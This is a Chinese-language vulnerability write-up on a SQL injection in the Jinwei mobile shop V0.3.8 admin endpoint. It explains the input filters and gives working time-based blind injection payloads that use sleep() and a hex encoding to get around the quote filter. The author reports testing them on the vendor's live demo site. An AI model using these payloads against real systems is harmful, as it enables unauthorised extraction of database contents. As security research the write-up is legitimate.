上次在逛先知的时候,无意间看到了L4zily师傅的这篇文章:https://xz.aliyun.com/t/9114 ,所以有了这篇,该版本为金微手机商城 V0.3.8版本
我们直接去官方搭建的演示站,直接访问/admin.php
我们先看Jms_0.3.8\admin.php的源码:
这里的第8行是传入数据给$m,然后当$m不为空时,会触发Jms_0.3.8\common.php的Dec函数,其功能主要是对传入的数据json解码:
但是这里return时,会因为$c为true而去触发Jms_0.3.8\common.php的Rpl函数,其内容为:
这里是进行了过滤,过滤的主要是一些不可显示的字符和\ * ' " % 空格
然后进行判断,当$m[“act”]不为idx或者是lgn时会进入if判断,然后回执行sql语句,首先先看这段sql语句:
我们可以看到我们可以对$m[“uid”]进行处理来进行sql注入,然后再来看Jms_0.3.8\common.php的Qry函数:
功能只是执行语句,没有其它的过滤,所以重新回到注入点
我们可以直接去主站的演示站进行这样构造:POST传入: {"act":"f1hgb","uid":"213123213121||sleep(5)"}
可以看到进行了延时,然后因为是或,所以会有几个数据表就会延时多少次5秒,所以这里显示的是10秒。
然后因为没有对sql的关键字进行过滤,所以我们可以直接进行时间盲注,因为过滤了引号,所以使用16进制,所以先测试第一个字母为j其16进制为0x6a,其paylaod: {"act":"f1hgb","uid":"213123213121||(if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1)=0x6a,sleep(5),1))"}
发现是存正延时的,当我们换成第一个字母为k,其16进制为0x6b时,payload: {"act":"f1hgb","uid":"213123213121||(if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),1,1)=0x6b,sleep(5),1))"}
发现就没有延时。后面只需要替换table_name等就可以进行sql注入获取用户名等。